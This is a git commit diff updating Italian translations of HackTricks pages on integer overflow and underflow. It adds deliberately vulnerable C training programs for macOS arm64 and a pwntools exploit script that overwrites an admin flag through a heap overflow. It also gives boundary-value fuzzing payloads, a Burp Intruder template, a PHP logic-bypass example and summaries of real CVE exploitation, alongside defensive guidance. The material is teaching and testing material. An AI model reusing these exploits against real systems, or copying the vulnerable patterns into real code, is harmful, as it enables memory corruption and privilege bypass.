Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo

This commit is contained in:
Translator 2025-09-07 14:59:49 +00:00
parent e68b499902
commit 171c6d303d
4 changed files with 410 additions and 156 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md) - [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md) - [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Informazioni di base
Al centro di un **integer overflow** c'è la limitazione imposta dalla **dimensione** dei tipi di dato nella programmazione e dall'**interpretazione** dei dati.
Ad esempio, un **8-bit unsigned integer** può rappresentare valori da **0 to 255**. Se si tenta di memorizzare il valore 256 in un 8-bit unsigned integer, questo si riavvolge a 0 a causa della limitazione della sua capacità di memorizzazione. Analogamente, per un **16-bit unsigned integer**, che può contenere valori da **0 to 65,535**, aggiungere 1 a 65,535 farà riavvolgere il valore a 0.
Inoltre, un **8-bit signed integer** può rappresentare valori da **-128 to 127**. Questo perché un bit è usato per rappresentare il segno (positivo o negativo), lasciando 7 bit per rappresentare la magnitudine. Il numero più negativo è rappresentato come **-128** (binary `10000000`), e il numero più positivo è **127** (binary `01111111`).
Valori massimi per tipi interi comuni:
| Type | Size (bits) | Valore minimo | Valore massimo |
|----------------|-------------|------------------------|-------------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
Un short è equivalente a `int16_t`, un int è equivalente a `int32_t` e un long è equivalente a `int64_t` nei sistemi a 64 bit.
### Valori massimi
Per potenziali **web vulnerabilities** è molto interessante conoscere i valori massimi supportati:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Esempi
### Overflow puro
Il risultato stampato sarà 0 poiché abbiamo fatto overflow del char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Considera una situazione in cui un signed integer viene letto dall'input dell'utente e poi usato in un contesto che lo tratta come un unsigned integer, senza una convalida adeguata:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande unsigned integer a causa del modo in cui i valori binari vengono interpretati, potenzialmente causando comportamenti imprevisti.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Compilalo con:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Esempio
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Compilalo con:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Altri esempi
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Viene usato solo 1B per memorizzare la size della password, quindi è possibile overflowarlo e farlo sembrare di lunghezza 4 mentre in realtà è 260 per bypassare la length check protection
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Dato un paio di numeri, trovare usando z3 un nuovo numero che moltiplicato per il primo dia il secondo:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Viene usato solo 1B per memorizzare la size della password, quindi è possibile overflowarlo e farlo sembrare di lunghezza 4 mentre in realtà è 260 per bypassare la length check protection e sovrascrivere nello stack la local variable successiva e bypassare entrambe le protezioni
## ARM64
Questo **non cambia in ARM64** come puoi vedere in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Overflow di Interi
{{#include ../banners/hacktricks-training.md}}
## Informazioni di Base
Al centro di un **overflow di interi** c'è la limitazione imposta dalla **dimensione** dei tipi di dati nella programmazione informatica e dall'**interpretazione** dei dati.
Ad esempio, un **intero senza segno a 8 bit** può rappresentare valori da **0 a 255**. Se si tenta di memorizzare il valore 256 in un intero senza segno a 8 bit, esso torna a 0 a causa della limitazione della sua capacità di memorizzazione. Allo stesso modo, per un **intero senza segno a 16 bit**, che può contenere valori da **0 a 65.535**, aggiungere 1 a 65.535 riporterà il valore a 0.
Inoltre, un **intero con segno a 8 bit** può rappresentare valori da **-128 a 127**. Questo perché un bit è utilizzato per rappresentare il segno (positivo o negativo), lasciando 7 bit per rappresentare la grandezza. Il numero più negativo è rappresentato come **-128** (binario `10000000`), e il numero più positivo è **127** (binario `01111111`).
### Valori massimi
Per le potenziali **vulnerabilità web** è molto interessante conoscere i valori massimi supportati:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Esempi
### Overflow puro
Il risultato stampato sarà 0 poiché abbiamo sovraccaricato il char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Conversione da Firmato a Non Firmato
Considera una situazione in cui un intero firmato viene letto dall'input dell'utente e poi utilizzato in un contesto che lo tratta come un intero non firmato, senza una corretta validazione:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
In questo esempio, se un utente inserisce un numero negativo, verrà interpretato come un grande intero senza segno a causa del modo in cui i valori binari vengono interpretati, portando potenzialmente a comportamenti imprevisti.
### Altri Esempi
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Solo 1B è utilizzato per memorizzare la dimensione della password, quindi è possibile sovraccaricarlo e farlo pensare che la sua lunghezza sia 4 mentre in realtà è 260 per bypassare la protezione del controllo della lunghezza
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Dati un paio di numeri, scopri usando z3 un nuovo numero che moltiplicato per il primo darà il secondo:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Solo 1B è utilizzato per memorizzare la dimensione della password, quindi è possibile sovraccaricarlo e farlo pensare che la sua lunghezza sia 4 mentre in realtà è 260 per bypassare la protezione del controllo della lunghezza e sovrascrivere nello stack la successiva variabile locale e bypassare entrambe le protezioni
## ARM64
Questo **non cambia in ARM64** come puoi vedere in [**questo post del blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Overflow di Interi (Applicazioni Web) # Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> Questa pagina si concentra su come **gli overflow/troncamenti di interi possono essere abusati nelle applicazioni web e nei browser**. Per le primitive di sfruttamento all'interno di binari nativi puoi continuare a leggere la pagina dedicata: > Questa pagina si concentra su come **integer overflows/truncations possono essere abusati nelle applicazioni web e nei browser**. Per primitive di sfruttamento all'interno di binari nativi puoi continuare a leggere la pagina dedicata:
> >
> >
{{#ref}} {{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md > ../../binary-exploitation/integer-overflow-and-underflow.md
> > {{#endref}}
{{#endref}}
--- ---
## 1. Perché la matematica degli interi è ancora importante sul web ## 1. Perché la matematica degli interi è ancora importante sul web
Anche se la maggior parte della logica aziendale negli stack moderni è scritta in linguaggi *sicuri per la memoria*, il runtime sottostante (o le librerie di terze parti) è infine implementato in C/C++. Ogni volta che numeri controllati dall'utente vengono utilizzati per allocare buffer, calcolare offset o eseguire controlli di lunghezza, **un wrap-around a 32 bit o 64 bit può trasformare un parametro apparentemente innocuo in una lettura/scrittura fuori dai limiti, un bypass logico o un DoS**. Anche se la maggior parte della business-logic negli stack moderni è scritta in *memory-safe* languages, il runtime sottostante (o le librerie di terze parti) è alla fine implementato in C/C++. Quando numeri controllati dall'utente vengono usati per allocare buffer, calcolare offset o eseguire controlli di lunghezza, **un wrap-around a 32-bit o 64-bit può trasformare un parametro apparentemente innocuo in una out-of-bounds read/write, un bypass logico o un DoS**.
Superficie di attacco tipica: Superfici di attacco tipiche:
1. **Parametri di richiesta numerici** campi classici id, offset o count. 1. **Numeric request parameters** classici campi id, offset o count.
2. **Intestazioni di lunghezza / dimensione** Content-Length, lunghezza del frame WebSocket, HTTP/2 continuation_len, ecc. 2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len, ecc.
3. **Metadati del formato file analizzati lato server o client** dimensioni delle immagini, dimensioni dei chunk, tabelle dei caratteri. 3. **File-format metadata parsed server-side or client-side** dimensioni delle immagini, dimensioni dei chunk, tabelle dei font.
4. **Conversioni a livello di linguaggio** cast signed↔unsigned in PHP/Go/Rust FFI, troncamenti JS Number → int32 all'interno di V8. 4. **Language-level conversions** cast signed↔unsigned in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Autenticazione e logica aziendale** valore del coupon, calcoli di prezzo o saldo che traboccano silenziosamente. 5. **Authentication & business logic** valore del coupon, prezzo o calcoli del balance che overflowano silenziosamente.
--- ---
## 2. Vulnerabilità recenti nel mondo reale (2023-2025) ## 2. Vulnerabilità reali recenti (2023-2025)
| Anno | Componente | Causa principale | Impatto | | Year | Component | Root cause | Impact |
|------|-----------|----------------|--------| |------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Overflow di moltiplicazione a 32 bit durante il calcolo della dimensione dei pixel decodificati | Ha attivato un 0-day di Chrome (BLASTPASS su iOS), consentendo *l'esecuzione di codice remoto* all'interno del sandbox del renderer. | | 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Ha innescato un Chrome 0-day (BLASTPASS on iOS), ha permesso *remote code execution* all'interno della renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | Troncamento a 32 bit durante l'espansione di un JSArray porta a scritture OOB sullo store di supporto | Esecuzione di codice remoto dopo una singola visita. | | 2024 | **V8 CVE-2024-0519** | Troncamento a 32-bit quando si espande una JSArray porta a un OOB write sul backing store | Remote code execution dopo una singola visita. |
| 2025 | **Apollo GraphQL Server** (patch non rilasciata) | Intero firmato a 32 bit utilizzato per gli argomenti di paginazione first/last; valori negativi si avvolgono in enormi positivi | Bypass logico e esaurimento della memoria (DoS). | | 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer usato per gli argomenti first/last di paginazione; valori negativi si avvolgono in grandi valori positivi | Bypass logico e esaurimento di memoria (DoS). |
--- ---
## 3. Strategia di test ## 3. Strategia di testing
### 3.1 Scheda di riferimento sui valori limite ### 3.1 Cheat-sheet dei valori limite
Invia **valori estremi firmati/non firmati** ovunque sia previsto un intero: Invia **valori estremi signed/unsigned** ovunque sia atteso un intero:
``` ```
-1, 0, 1, -1, 0, 1,
127, 128, 255, 256, 127, 128, 255, 256,
@ -50,27 +49,27 @@ Invia **valori estremi firmati/non firmati** ovunque sia previsto un intero:
0x7fffffff, 0x80000000, 0xffffffff 0x7fffffff, 0x80000000, 0xffffffff
``` ```
Altri formati utili: Altri formati utili:
* Esadecimale (0x100), ottale (0377), scientifico (1e10), JSON big-int (9999999999999999999). * Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Stringhe di cifre molto lunghe (>1kB) per colpire parser personalizzati. * Stringhe di cifre molto lunghe (>1kB) per mettere alla prova parser personalizzati.
### 3.2 Modello Burp Intruder ### 3.2 Modello per Burp Intruder
``` ```
§INTEGER§ §INTEGER§
Payload type: Numbers Payload type: Numbers
From: -10 To: 4294967300 Step: 1 From: -10 To: 4294967300 Step: 1
Pad to length: 10, Enable hex prefix 0x Pad to length: 10, Enable hex prefix 0x
``` ```
### 3.3 Fuzzing librerie e runtime ### 3.3 Librerie & runtime per fuzzing
* **AFL++/Honggfuzz** con libFuzzer harness attorno al parser (ad es., WebP, PNG, protobuf). * **AFL++/Honggfuzz** con harness libFuzzer attorno al parser (ad esempio WebP, PNG, protobuf).
* **Fuzzilli** fuzzing consapevole della grammatica dei motori JavaScript per colpire le troncature degli interi V8/JSC. * **Fuzzilli** fuzzing sensibile alla grammatica per motori JavaScript per provocare troncamenti degli integer in V8/JSC.
* **boofuzz** fuzzing dei protocolli di rete (WebSocket, HTTP/2) con focus sui campi di lunghezza. * **boofuzz** fuzzing di protocolli di rete (WebSocket, HTTP/2) focalizzato sui campi di lunghezza.
--- ---
## 4. Schemi di sfruttamento ## 4. Exploitation patterns
### 4.1 Bypass logico nel codice lato server (esempio PHP) ### 4.1 Logic bypass nel codice lato server (esempio PHP)
```php ```php
$price = (int)$_POST['price']; // expecting cents (0-10000) $price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible $total = $price * 100; // ← 32-bit overflow possible
@ -79,26 +78,28 @@ die('Too expensive');
} }
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */ /* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
``` ```
### 4.2 Overflow dello heap tramite decoder di immagini (libwebp 0-day) ### 4.2 Heap overflow via image decoder (libwebp 0-day)
Il decoder lossless WebP moltiplicava la larghezza × altezza × 4 (RGBA) all'interno di un int a 32 bit. Un file creato con dimensioni 16384 × 16384 provoca un overflow nella moltiplicazione, alloca un buffer corto e successivamente scrive **~1GB** di dati decompressi oltre l'heap portando a RCE in ogni browser basato su Chromium prima della versione 116.0.5845.187. Il WebP lossless decoder moltiplicava width × height × 4 (RGBA) all'interno di un 32-bit int. Un file appositamente creato con dimensioni 16384 × 16384 provoca l'overflow della moltiplicazione, alloca un buffer troppo corto e successivamente scrive **~1GB** di dati decompressi oltre il heap portando a RCE in ogni Chromium-based browser prima della 116.0.5845.187.
### 4.3 Catena XSS/RCE basata su browser ### 4.3 Browser-based XSS/RCE chain
1. **Overflow intero** in V8 consente lettura/scrittura arbitraria. 1. **Integer overflow** in V8 fornisce arbitrary read/write.
2. Esci dalla sandbox con un secondo bug o chiama API native per rilasciare un payload. 2. Escape the sandbox sfruttando un secondo bug oppure chiamando API native per depositare un payload.
3. Il payload inietta quindi uno script malevolo nel contesto di origine → XSS memorizzato. 3. Il payload inietta quindi uno script malevolo nel contesto di origine → stored XSS.
--- ---
## 5. Linee guida difensive ## 5. Linee guida difensive
1. **Usa tipi ampi o matematica controllata** ad esempio, size_t, Rust checked_add, Go math/bits.Add64. 1. **Use wide types or checked math** ad es., size_t, Rust checked_add, Go math/bits.Add64.
2. **Valida i range precocemente**: rifiuta qualsiasi valore al di fuori del dominio aziendale prima dell'aritmetica. 2. **Validate ranges early**: rifiutare qualsiasi valore al di fuori del dominio applicativo prima di effettuare operazioni aritmetiche.
3. **Abilita i sanitizzatori del compilatore**: -fsanitize=integer, UBSan, Go race detector. 3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **Adotta il fuzzing in CI/CD** combina il feedback di copertura con i corpus di confine. 4. **Adopt fuzzing in CI/CD** combinare il feedback di coverage con corpora di boundary.
5. **Rimani aggiornato** i bug di overflow intero nei browser vengono frequentemente sfruttati entro poche settimane. 5. **Stay patched** i bug di integer overflow nei browser vengono spesso sfruttati nel giro di poche settimane.
--- ---
## Riferimenti ## Riferimenti
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863) * [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)